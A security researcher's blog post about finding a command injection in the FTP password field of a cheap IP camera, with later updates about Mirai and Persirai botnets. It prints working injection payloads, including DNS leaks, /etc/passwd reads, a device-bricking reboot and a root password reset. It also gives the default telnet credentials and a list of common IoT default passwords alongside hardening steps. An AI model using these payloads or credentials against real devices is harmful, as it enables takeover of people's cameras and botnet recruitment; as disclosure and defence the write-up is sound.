The time has come. I bought my second IoT device - in the form of a cheap IP camera. As it was the most affordable among all others, my expectations regarding security was low. But this camera was still able to surprise me.
Let's run a quick nmap on this device.
The IP camera can upload photos to a configured FTP server on a scheduled basis. When I configured it, unfortunately, it was not working at all, I got an invalid username/password on the server. After some debugging, it turned out the problem was that I had a special $ character in the password. And this is where the real journey began. I was sure this was a command injection vulnerability, but not sure how to exploit it. There were multiple problems that made the exploitation harder. I call this vulnerability double-blind command injection. The first blind comes from the fact that we cannot see the output of the command, and the second blind comes from the fact that the command was running in a different process than the webserver, thus any time-based injection involving sleep was not a real solution.
But the third problem was the worst. It was limited to 32 characters. I was able to leak some information via DNS, like with the following commands I was able to see the current directory:
$(ping%20-c%202%20%60pwd%60)
or cleaning up after URL decode:
$(ping -c 2 `pwd`)
but whenever I tried to leak information from /etc/passwd, I failed. I tried $(reboot) which was a pretty bad idea, as it turned the camera into an infinite reboot loop, and the hard reset button on the camera failed to work as well. Fun times.
The following are some examples of my desperate trying to get shell access. And this is the time to thank EQ for his help during the hacking session night, and for his great ideas.
$(cp /etc/passwd /tmp/a) ;copy /etc/passwd to a file which has a shorter name
$(cat /tmp/a|head -1>/tmp/b) ;filter for the first row
$(cat</tmp/b|tr -d ' '>/tmp/c) ;filter out unwanted characters
$(ping `cat /tmp/c`) ;leak it via DNS
After I finally hacked the camera, I saw the problem. There is no head, tr, less, more or cut on this device ... Neither netcat, bash ...
I also tried
commix, as it looked promising on
Youtube. Think commix like sqlmap, but for command injection. But this double-blind hack was a bit too much for this automated tool, unfortunately.
But after spending way too much time without progress, I finally found the password to Open Sesame.
$(echo 'root:passwd'|chpasswd)
Now, logging in via telnet
(none) login: root
Password:
BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#
Woot woot :) I quickly noticed the root of the command injection problem:
# cat /tmp/ftpupdate.sh
/system/system/bin/ftp -n<<!
open ftp.site.com 21
user ftpuser $(echo 'root:passwd'|chpasswd)
binary
mkdir PSD-111111-REDACT
cd PSD-111111-REDACT
lcd /tmp
put 12.jpg 00_XX_XX_XX_XX_CA_PSD-111111-REDACT_0_20150926150327_2.jpg
close
bye
Whenever a command is put into the FTP password field, it is copied into this script, and after the script is scheduled, it is interpreted by the shell as commands. After this I started to panic that I forgot to save the content of the /etc/passwd file, so how am I going to crack the default telnet password? "Luckily", rebooting the camera restored the original password.
root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh
Unfortunately, there is no need to start good-old John The Ripper for this task, as Google can tell you that this is the hash for the password 123456. It is a bit more secure than a
luggage password.
It is time to recap what we have. There is an undocumented telnet port on the IP camera, which can be accessed by default with root:123456, there is no GUI to change this password, and changing it via console, it only lasts until the next reboot. I think it is safe to tell this a backdoor.
With this console access we can access the password for the FTP server, for the SMTP server (for alerts), the WiFi password (although we probably already have it), access the regular admin interface for the camera, or just modify the camera as we want. In most deployments, luckily this telnet port is behind NAT or firewall, so not accessible from the Internet. But there are always exceptions. Luckily, UPNP does not configure the Telnet port to be open to the Internet, only the camera HTTP port 81. You know, the one protected with the 4 character numeric password by default.
Last but not least everything is running as root, which is not surprising.
My hardening list
I added these lines to the end of /system/init/ipcam.sh:
sleep 15
echo 'root:CorrectHorseBatteryRedStaple'|chpasswd
Also, if you want, you can disable the telnet service by commenting out telnetd in /system/init/ipcam.sh.
If you want to disable the cloud connection (thus rendering the mobile apps unusable), put the following line into the beginning of /system/init/ipcam.sh
iptables -A OUTPUT -p udp ! --dport 53 -j DROP
You can use OpenVPN to connect into your home network and access the web interface of the camera. It works from Android, iOS, and any desktop OS.
My TODO list
- Investigate the script /system/system/bin/gmail_thread
- Investigate the cloud protocol * - see update 2016 10 27
- Buy a Raspberry Pie, integrate with a good USB camera, and watch this IP camera to burn
A quick googling revealed I am not the first finding this telnet backdoor account in IP cameras, although others found it via JTAG firmware dump.
And 99% of the people who buy these IP cameras think they will be safe with it. Now I understand the sticker which came with the IP camera.
When in the next episode of Mr. Robot, you see someone logging into an IP camera via telnet with root:123456, you will know, it is the sad reality.
If you are interested in generic ways to protect your home against IoT, read
my previous blog post on this.
Update: as you can see in the following screenshot, the bad guys already started to take advantage of this issue ... https://www.incapsula.com/blog/cctv-ddos-botnet-back-yard.html
Update 20161006: The Mirai source code was leaked last week, and these are the worst passwords you can have in an IoT device. If your IoT device has a Telnet port open (or SSH), scan for these username/password pairs.
root xc3511
root vizxv
root admin
admin admin
root 888888
root xmhdipc
root default
root juantech
root 123456
root 54321
support support
root (none)
admin password
root root
root 12345
user user
admin (none)
root pass
admin admin1234
root 1111
admin smcadmin
admin 1111
root 666666
root password
root 1234
root klv123
Administrator admin
service service
supervisor supervisor
guest guest
guest 12345
guest 12345
admin1 password
administrator 1234
666666 666666
888888 888888
ubnt ubnt
root klv1234
root Zte521
root hi3518
root jvbzd
root anko
root zlxx.
root 7ujMko0vizxv
root 7ujMko0admin
root system
root ikwb
root dreambox
root user
root realtek
root 00000000
admin 1111111
admin 1234
admin 12345
admin 54321
admin 123456
admin 7ujMko0admin
admin 1234
admin pass
admin meinsm
tech tech
mother fucker
Update 2016 10 27: As I already mentioned this at multiple conferences, the cloud protocol is a nightmare. It is clear-text, and even if you disabled port-forward/UPNP on your router, the cloud protocol still allows anyone to connect to the camera if the attacker knows the (brute-forceable) camera ID. Although this is the user-interface only, now the attacker can use the command injection to execute code with root privileges. Or just grab the camera configuration, with WiFi, FTP, SMTP passwords included.
Youtube video : https://www.youtube.com/watch?v=18_zTjsngD8
Slides (29 - ) https://www.slideshare.net/bz98/iot-security-is-a-nightmare-but-what-is-the-real-risk
Update 2017-03-08: "
Because of code reusing, the vulnerabilities are present in a massive list of cameras (especially the InfoLeak and the RCE),which allow us to execute root commands against 1250+ camera models with a pre-auth vulnerability. "
https://pierrekim.github.io/advisories/2017-goahead-camera-0x00.txtUpdate 2017-05-11: CVE-2017-5674 (see above), and my command injection exploit was combined in the Persirai botnet. 120 000 cameras are expected to be infected soon. If you still have a camera like this at home, please consider the following recommendation by Amit Serper "The only way to guarantee that an affected camera is safe from these exploits is to throw it out. Seriously."
This issue might be worse than the Mirai worm because these effects cameras and other IoT behind NAT where UPnP was enabled.
http://blog.trendmicro.com/trendlabs-security-intelligence/persirai-new-internet-things-iot-botnet-targets-ip-cameras/
